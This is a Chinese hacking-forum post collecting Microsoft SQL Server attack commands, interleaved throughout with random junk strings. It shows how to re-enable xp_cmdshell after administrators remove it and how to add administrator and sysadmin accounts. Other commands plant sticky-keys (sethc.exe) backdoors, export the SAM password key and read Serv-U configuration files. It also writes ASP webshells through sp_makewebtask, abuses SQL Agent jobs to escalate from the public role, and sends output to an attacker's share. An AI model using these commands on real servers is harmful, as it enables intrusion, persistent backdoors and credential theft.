中国网络渗透测试联盟
标题:
XP_CMDSHELL恢复方法大全
[打印本页]
作者:
admin
时间:
2012-9-15 14:37
标题:
XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
$ f( |' V: [) w
恢复方法:查询分离器连接后,
, }, k) X/ f7 a. q
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
' a. s4 ~4 l; A6 I% M7 O
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
2 q, t1 f1 e# b) b
然后按F5键命令执行完毕
: x: e# r3 h. s; ~: ^# p5 j. b
( }7 n$ h! }) n/ [- e
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
2 }1 F0 g3 C! n! S; T Y
恢复方法:查询分离器连接后,
$ X0 t. [) \3 p2 n d+ N9 G
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
, l0 `, ~2 i5 x) E1 [% z
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
$ L& ]. ?( K l/ W U* e2 V
然后按F5键命令执行完毕
7 ^, d. f3 ~0 p
& y: U2 w2 [6 y0 H, d5 U8 ]
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
6 G T4 [& S; P; B; ~
恢复方法:查询分离器连接后,
8 \# M/ {7 I9 P2 v/ V6 B+ {
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
( J4 g9 i) }8 w+ t3 Q a, h+ Y& C
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
; J6 _" F _1 G2 j: l2 j
然后按F5键命令执行完毕
2 O% ?" G) v# }% l5 J g# S
/ Y* X) v* ^& q3 L( O+ t% s, q
4 终极方法.
% I V; P% y9 V' n5 N* K( I
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
0 s) G* s, q8 r5 B4 N
查询分离器连接后,
' ~: b6 s$ N# H1 ~- s
2000servser系统:
# x2 l5 Y4 \4 ?0 X7 t6 M
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
1 c" |1 A1 T( E0 p% Z* n
, L, S- A Q3 V/ ?4 ^* G
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
3 p* c: n1 ^) o* x* s" x0 }
3 k( `! H: l+ r0 |; t
xp或2003server系统:
- w7 h: l) z. @/ `
: f/ R% T3 Q; I
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
: w2 e1 [4 j! [4 }+ ?) S+ U
1 P+ U g$ ]8 J+ ?6 T1 c0 B2 o) p" M
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
* V. _& s8 G7 T# h6 |) M
! t; T. |( m/ K6 {6 O; X
9 y9 b f& \5 h" d: R' y
五个SHIFT
: Q/ S: e& O. B- U- Q& ?5 v& D
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
9 |2 R1 m/ J/ f( N. X" g2 L# g
" y( X) t! s$ J% v2 ^
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
' r4 s, ^$ U% ]1 n( F$ ?
$ h0 x$ t7 _! m. O# m
xp_cmdshell执行命令另一种方法
0 \; I' j8 M% D; [9 t& z
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
}" }) T! m: e
$ {2 T2 q# [4 Z0 C1 X
判断存储扩展是否存在
2 @9 g9 E3 H' _5 a! J& [# q2 A8 I' S
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
: E _+ G. G0 e4 t/ `
返回结果为1就OK
3 L1 w0 G( q7 p! l2 K
1 p }7 m" B8 x* U
, s$ u& G4 w" B6 U1 ?) d
上传xplog70.dll恢复xp_cmdshell语句:
& C; h2 e% y: U- D8 P2 |3 K- h3 n
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
, Q/ q% g; c8 a* ~8 |
, @: n* b3 Y4 d) O
否则上传xplog7.0.dll
g3 h3 O: d+ M* x* Q/ p
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
$ X' X- {; b3 c* s; Q
& ]0 J# \+ s; S
, E6 s7 l* z* Z8 d4 f" A
$ }! U: X: X& z8 g3 X
首先开启沙盘模式:
, i3 q. U8 T$ k! t
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
* J! m& [+ p( e$ g# Z
0 I0 z( X4 S& e5 P3 i6 W/ K' i+ ?7 v0 k
然后利用jet.oledb执行系统命令
% [6 s4 _+ N6 ^# m' @
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
% b( d7 q4 V% \% O6 ^8 x% J
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
7 F* _# d0 q3 t- S
6 Q4 k2 B) R* {/ N; ^: b/ b7 e
q( C" d- U3 z
`) ^% r/ C! b$ L4 O
恢复过程sp_addextendedproc 如下:
: L: z5 N9 |2 Z; l7 I
create procedure sp_addextendedproc --- 1996/08/30 20:13
5 H" H. `- \, N
@functname nvarchar(517),/* (owner.)name of function to call */
) b/ L" \6 ]( i$ D
@dllname varchar(255)/* name of DLL containing function */
\+ C% o- M' c1 x w1 b
as
- F# y/ H$ S9 p* a+ W+ _
set implicit_transactions off
" b; ]& n+ `8 ?4 v$ a" u
if @@trancount > 0
- k }9 o [- Q- l# |; L; J8 O% X
begin
4 r/ I7 R2 Y4 m
raiserror(15002,-1,-1,'sp_addextendedproc')
2 X& z5 G7 R* C
return (1)
/ k5 W/ u- E1 _" }$ E
end
( N8 _5 A0 s5 J" O7 K
dbcc addextendedproc( @functname, @dllname)
% g1 t$ p6 V) c2 v' p) f) s
return (0) -- sp_addextendedproc
: I3 K* B7 p, v5 P% C
GO
4 g- i3 U" H% s9 ~8 S" y' R/ ]: y) L) q
( F% M, ?4 f- o$ |6 Y
8 ?9 H ]$ w7 K b w& D
8 r1 ^- n; H: I8 f
导出管理员密码文件
2 E# Q, {' r2 Q
sa默认可以读sam键.应该。
" r. `) U! j, C: o- d
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
: u) T! P( p5 E6 v. S; p6 Z" m
net user administrator test
/ n9 w- x$ m1 r# _: X# J+ c1 A- v
用administrator登陆.
% B; e/ F E, I/ {$ T
用完机器后
7 `" F. Z5 B' }# Y# W1 a7 B/ n+ B
reg import c:\test.reg
. F; R9 `8 S0 j# g- M8 D. z- G
根本不用克隆.
" \! m9 ?6 F( _' c. E8 o, Z
找到对应的sid.
% C" g h" Z3 U. W: f( b
3 E# c; |; ^: ^, ~4 R
e$ W1 b5 r1 {3 z5 ]& x6 @4 q: f* y) U9 @
) H0 L1 X; o Z
恢复所有存储过程
3 Y5 r' E" n) X4 |3 K# B0 u8 n
use master
2 V H/ q H4 |/ W
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
+ I; ^8 ]/ ^. T5 C+ w/ j8 T$ j
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
! r: A: O/ x# ?* D A$ v
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
& d& f6 Z1 N$ m, ]& N
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
5 H% g, m" N0 d4 U
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
: A% Q* _- }) F \' q
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
$ J4 K3 m3 R2 y" u. b
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
* m& e# f7 H0 P- _) A, j2 ]. t
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
7 S* y9 s. w9 X1 F0 U) P1 V% J
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
, W% J. a" z: G' x/ C
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
* S: r. S* _0 ^
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
5 J+ z# `# c5 d \: @
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
1 L2 U- p, R2 i5 w- a# t" X' G, T7 y
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
0 K3 M8 T7 K/ x4 s3 w0 e) Q
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
% }, C: A$ ^) M- V7 r3 H
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
7 d+ `+ S3 F% R2 \4 j% W
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
* U! c& @% ^5 r) A7 u
exec sp_addextendedproc xp_regread,'xpstar.dll'
0 a9 S) l: ^$ B# S9 [; A5 k' G
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
% Z9 s9 F5 v7 m- @. T
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
# S9 p* r8 [6 r7 M% W, ~" t8 t
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
7 D, D$ Z9 R- C" w' y9 o
! E7 l; x: ?! C/ X7 l' Z
3 t) d8 n }- O
建立读文件的存储过程
6 L0 y) s# y# O6 r
Create proc sp_readTextFile @filename sysname
" B; b( Q5 [: R
as
- X5 Z% q$ }5 A% d7 W9 _4 p' }1 z! G# [
! [- b5 ]4 r$ B
begin
- V4 h8 q: C0 y
set nocount on
3 C! z# j/ b8 W" K7 w" T3 r
Create table #tempfile (line varchar(8000))
; A% H2 I0 [+ W; O
exec ('bulk insert #tempfile from "' + @filename + '"')
) w4 d1 X- D9 p4 t7 h" n
select * from #tempfile
5 T# L: h$ F+ w7 R, b! r1 G! M0 M; e
drop table #tempfile
0 k6 a7 z4 Q$ z( J+ k/ S
End
9 x% j3 A' N7 Q4 O; k4 G5 I
: C6 p1 `, a- X/ ]4 J& J
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
4 o8 r* |' I+ L9 V( e
查看登录用户
( {0 K4 x4 i: Q2 P) \
Select * from sysxlogins
* K# n+ n( k" b- A P7 ~
^5 L2 Y2 {, v1 l, q! l; T6 T
把文件内容读取到表中
8 }6 j4 R- D; Q. X
BULK INSERT tmp from "c:\test.txt"
% A- q, H- n6 w. V& V. T b3 o
dElete from 表名 清理表里的内容
% D4 {/ I; Q0 b8 I3 P6 P4 O [
create table b_test(fn nvarchar(4000));建一个表,字段为fn
0 F. m2 F0 e% ^
]' |$ q4 m$ [+ E$ M
" z1 O, B$ A- d: O) l5 n' j0 F
加sa用户
% n5 u% X$ L7 c' E
exec master.dbo.sp_addlogin user,pass;
& ~" Q e% p6 b
exec master.dbo.sp_addsrvrolemember user,sysadmin
) |' ~! L" g d
* j, Z9 I" @8 Y L: S
+ Y4 m. H% J; T9 s8 M9 h* x
) \' Z' [0 U6 d2 Q# d; X) |/ _2 ~
读文件代码
0 f4 h2 C: y5 U/ L0 Z- d- j' b
declare @o int, @f int, @t int, @ret int
! o" a1 q! Q/ O8 u/ d2 U; e1 J
declare @line varchar(8000)
+ g- G$ u+ X' R: ^; N6 U5 V0 h
exec sp_oacreate 'scripting.filesystemobject', @o out
' u9 d% b) \$ I! F& F4 o2 J( Y- {' O
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
& n" Y) i$ b0 ?0 B u) a( T$ ~
exec @ret = sp_oamethod @f, 'readline', @line out
3 z& \2 L8 C+ B
while( @ret = 0 )
7 [) m7 i1 _* G% \- T
begin
) C% C6 |1 L# G
print @line
& f! D- z1 f- a/ T2 C. _+ N1 V
exec @ret = sp_oamethod @f, 'readline', @line out
: Z o6 G! N) N t
end
9 @( {' h+ D0 e) u
! C% p9 Y/ D l" J x7 G$ M# b
& Y& q8 c5 Z6 t8 R4 r
写文件代码:
2 A: ^) B1 D/ P; K6 h
declare @o int, @f int, @t int, @ret int
8 Q, Q+ e; r! f1 F# K) s( e5 t
exec sp_oacreate 'scripting.filesystemobject', @o out
7 E# _& t2 a1 r* G- z
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
+ |( F& d/ e% N4 e! y0 \1 w$ e
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
8 e$ S! K5 W* X' |3 W
6 z; Z F' `% e! I: r8 e% }
. `3 T- `8 h [; R2 _" w5 `
添加lake2 shell
8 Q7 [9 G, R5 O, |! h
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
# ~: g6 @; P% y S/ ~. I/ ^
sp_dropextendedproc xp_lake2
. R) C( F6 H& i8 [
EXEC xp_lake2 'net user'
4 h& T' d# e# [+ o7 u! O; k
, L, q. x/ y3 h5 ]# d* W
8 u; q- K4 c( S4 M P
得到硬盘文件信息
$ }* R D I2 D' S* ^7 I
--参数说明:目录名,目录深度,是否显示文件
+ z* ~2 m) T: c$ N
execute master..xp_dirtree 'c:'
1 T2 \# w( L: C
execute master..xp_dirtree 'c:',1
. O. m$ s9 u& t. x0 M
execute master..xp_dirtree 'c:',1,1
" L. |0 |6 |. r
) q9 n+ _! y( l7 y5 P
; I: L' \& m) O3 }
读serv-u配置信息
* C! i2 ?2 V. ~$ b; E
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
}$ H+ ]0 _8 R% E! }' B
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
: f4 X+ ~0 K3 W6 K
) x) m8 F- H- G# R' G. X
通过xp_regwrite写SHIFT后门
, J$ c1 J/ B2 f! W9 Z& t+ ]
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
; i6 w: l4 P- J i+ x& |# j
+ b3 x) @: C5 ?+ d) i
+ A7 t& E( O+ {/ V
6 L( @6 r3 W; L1 S g' r
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\
www.xx.com
';
4 Y1 `) K# `. o$ i) C7 b, ?
exec sp_makewebtask 'd:\web\
www.XXXX.com
\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
$ U- W7 s; M( ~; Z/ ^
3 a9 O+ ^$ S/ |' I3 [+ v4 s1 c, E
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
0 V" e8 @) y3 b) Y! R
& c6 @# p& t. O; H) ^/ |: H6 z
$ ^3 A; J4 l" v& a/ @( c. {, ?7 w
6 U* P# O" T& {' V0 ]
sql server 2005下开启xp_cmdshell的办法
) z/ B' G: O& M& m3 K
0 W( W! g6 }- p2 b
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
0 b5 f& Q9 q2 S6 q. S
) M8 j* i2 ?1 B
SQL2005开启'OPENROWSET'支持的方法:
2 y7 A& \' c( |5 l( a1 |
X, F1 p; [+ w$ \
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
6 R" B, u, o1 k. S4 @0 m8 a
* ]2 Y m3 Q, C5 a! |4 V
SQL2005开启'sp_oacreate'支持的方法:
- V5 V: r. p+ f
+ ?9 s+ K" `, P
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
$ B. g( N; m9 ^( L/ Q& c. Z6 z, S
" k$ W4 c, K, \6 N" m: \4 d! P
+ Y% s) N6 I) Z$ o" ^
# ]3 t! f) z9 m: t" k% m9 h( a6 S+ K
5 w" H% V! ~4 G
9 \- V* A) I& N2 ?- O- v5 n
0 O3 Z$ z$ b0 E4 s2 H: v
& |! K3 F0 ^; R
. e" u) R; p: B% z9 h& ~& W$ }. p
) n6 D" L7 q. }5 x
) x- }" O! T1 V4 i1 d
8 [! F5 C7 j9 H2 a3 C% \% w3 e
! j$ e- ~' O$ Y6 G4 z9 T) K* g
2 b2 o# ?- Z9 Z
/ `7 E# H$ K( t; q( l
4 H! a8 x+ A# t7 p" R" ^/ |4 Q
R# q1 _% \0 J8 O- C, F3 q
. Y0 Q3 k+ b( W) g
' S- g# d/ }4 P+ ?/ ]7 d
* {4 `* k. d3 r1 U& T
8 \/ w p; e, Z, k
0 X: `) w# I* W2 m
& l+ V$ q& M* U) F
4 R% f! {+ a; j' r( r: a/ e
$ c+ F2 T$ L! a$ i, b- o- ^) {/ \
以下方面不知道能不能成功暂且留下研究哈:
1 g _9 p" D/ D# C4 a% m: W- q
4)
7 }' G' C) Z! \$ m
use msdb; --这儿不要是master哟
2 x. U3 p8 f! g( n9 H* _
exec sp_add_job @job_name= czy82 ;
% Z, L4 O6 i- D, c5 g2 ?% x
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
, c% r( t6 O+ J) A
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
% X# x! Y8 z9 h& A9 i w( O
exec sp_start_job @job_name= czy82 ;
0 L- l$ z4 e: e2 p. @
( L1 i, R( i! c1 r, @: i' [! Z8 K' o
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
# x `2 O; k& \$ q$ ?; [! @
执行tsql语句了.
) b8 V* s+ f( m7 G0 I/ A7 ~9 |( h, w, u
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
+ q& o* N% {/ Y1 E
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
- L9 B* ?+ x: X3 q
net start SQLSERVERAGENT
! M* l! `2 z# e1 t5 b3 T0 b
. C( M; e `; U9 [: w2 g+ O
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
|8 v y' K9 R! c
USE msdb
( ~) q: a6 q: s: Z5 N1 @
EXEC sp_add_job @job_name = GetSystemOnSQL ,
3 v- J* P: X7 v9 w
@enabled = 1,
( u9 h* E8 N9 Y ?3 }: C, y" c
@description = This will give a low privileged user access to
7 c- U" A) C/ F& l
xp_cmdshell ,
6 C5 i$ c# T9 M% Q% L, e
@delete_level = 1
1 j6 v. X4 W+ b. M+ Z$ {1 r
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
5 D R% i% S4 p( p
@step_name = Exec my sql ,
8 e+ l" G5 F) e) ?5 R) w
@subsystem = TSQL ,
, |; U6 i/ E& N
@command = exec master..xp_execresultset N select exec
5 K/ B7 t) B1 n2 a
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
$ G) ]) c; Q1 ^
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
3 ^! G, T+ D9 j2 I: C% @$ W# W
@server_name = 你的SQL的服务器名
7 z( ]0 Q" ]/ o* u4 b
EXEC sp_start_job @job_name = GetSystemOnSQL
' U. P$ P5 c ?! y
, Q3 C0 x# Z' V: Q7 y0 s
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
9 M$ f- r- V( ?. C) G
才让我们可以以public执行xp_cmdshell
- c3 l" O( V& g7 r5 d/ I
/ O& u6 T* a2 d' U! i8 Z" p
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
% h$ G0 {* ^7 x ~
在安焦有文章:
http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
8 b: ?& h$ |$ G+ x
* s; z ^+ l& g
USE msdb
' M% o6 E' g L4 m3 B# W# I
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
9 u! @9 u& X4 F6 r
@enabled = 1,
* R! Q+ a4 E) u7 n& I
@description = This will create a file called c:\sqlafc123.txt ,
, p1 B6 `/ f5 o. M& L1 O1 u2 Z
@delete_level = 1
& a5 W8 V5 Y9 N
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
4 `- N! T" X( k* @8 l5 C
@step_name = SQLAFC ,
+ L m" ]1 i# A. m
@subsystem = TSQL ,
& |4 Y$ `# M5 y% k, H) t
@command = select hello, this file was created by the SQL Agent. ,
* S5 Q3 k, u! o1 ~7 a0 B b6 ^" v
@output_file_name = c:\sqlafc123.txt
; h7 B' [2 R& i3 g
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
( R5 E/ N( u; x+ e" O+ e- W0 u
@server_name = SERVER_NAME
0 \9 {% t8 H, m1 j) u
EXEC sp_start_job @job_name = ArbitraryFilecreate
$ g4 S' k9 `! ], u/ t- W, k
6 d% ^; i* j: M1 z& g6 U! N- ]
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
, x/ e/ D; M$ T8 p C7 W$ K, |' ?% d
3 I3 u H+ i3 A
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
4 G+ i6 m ^& ?* s
----------------------------------------------
, O2 h5 B9 j# A
hello, this file was created by the SQL Agent.
4 o9 S- q0 A9 n! l3 A; h, g9 v7 o! q7 I
, H+ s7 P# N4 u" x" t% M% I
(1 ?????)
2 l; x- b% c' G- {# {2 D6 P) h5 G
9 {3 U$ I( H. }) L* p8 I
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
9 ~+ }/ q4 S- X3 H4 S- {) g
命令的vbs文件到启动目录!
8 t# H' l7 r* h) y* R5 q
8 F, J2 j# B- X+ S
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
+ g5 T4 R- ^$ X) W4 C% z5 |! Z+ ^
关于sp_MScopyscriptfile 看下面的例子
# d! e5 [' r4 V+ o5 W) D" Z
declare @command varchar(100)
" Q; y1 P7 U- D- m. B; O6 `1 ?
declare @scripfile varchar(200)
. T% l1 L1 R5 z4 ]& {3 m
set concat_null_yields_null off
0 h, E7 Q$ z* ?+ s
select @command= dir c:\ > "\\attackerip\share\dir.txt"
3 |; P9 @/ y2 m C$ t
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
& Q/ ~9 `! G& A" p( B2 [! v! q
exec sp_MScopyscriptfile @scripfile ,
/ J: N+ m0 U3 z3 H" j G) J
, y: a, m/ R, m |1 t
这两个东东都还在测试试哟
5 n* |0 F! W9 A# o% X
让MSSQL的public用户得到一个本机的web shell
* s0 V4 d8 S0 v
2 w: t5 K* x7 n# d! V, N( O
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
# v- h( |- `. ^: ^) D8 E( b5 G7 A
--@query= select <img src=vbscript:msgbox(now())>
& l4 D" |( Q4 u9 R, w6 `+ `9 h4 v
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
) C7 j8 [: ~+ A
@query= select
7 u! s2 _" z- y7 ` A8 g9 [
<%On Error Resume Next
$ Y2 V) ^* a% N) |6 r) o& p; w
Set oscript = Server.createObject("wscript.SHELL")
+ V3 e6 {# W a9 V6 M3 ]
Set oscriptNet = Server.createObject("wscript.NETWORK")
7 G @' b) @" ?( L4 c! ?
Set oFileSys = Server.createObject("scripting.FileSystemObject")
9 s# w- g: Q, _' R9 h' h, g7 O$ \
szCMD = Request.Form(".CMD")
. l2 n9 V- X* l$ k6 G. R. E7 e% M
If (szCMD <>"")Then
3 [! a* T5 \0 ?; D+ M
szTempFile = "C:\" & oFileSys.GetTempName()
/ J+ Q9 R( _0 h* L
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
b& L6 I& m- F
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
" _, Z' ~$ S9 A
End If %>
) ^$ @2 R7 O. j* \
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="
OST">
B- ?+ T4 T/ ]. k( a2 q }( ]+ t
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
8 `9 c* _" q8 u+ b0 W, `
</FORM><
RE>
: i* [3 }' V$ x9 \, {3 o
<% If (IsObject(oFile))Then
1 |& Q6 I' q' ~8 E. @
On Error Resume Next
/ g$ ?/ n8 G h
Response.Write Server.HTMLEncode(oFile.ReadAll)
1 Z, w# {3 J1 D' a% l" d
oFile.Close
- k8 O6 ] L* f
Call oFileSys.deleteFile(szTempFile, True)
( d6 c8 w1 H' M/ m. y7 v
End If%>
0 ^4 {; ?! h' }' v% O
</BODY></HTML>
1 K1 V* P" S$ B w
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2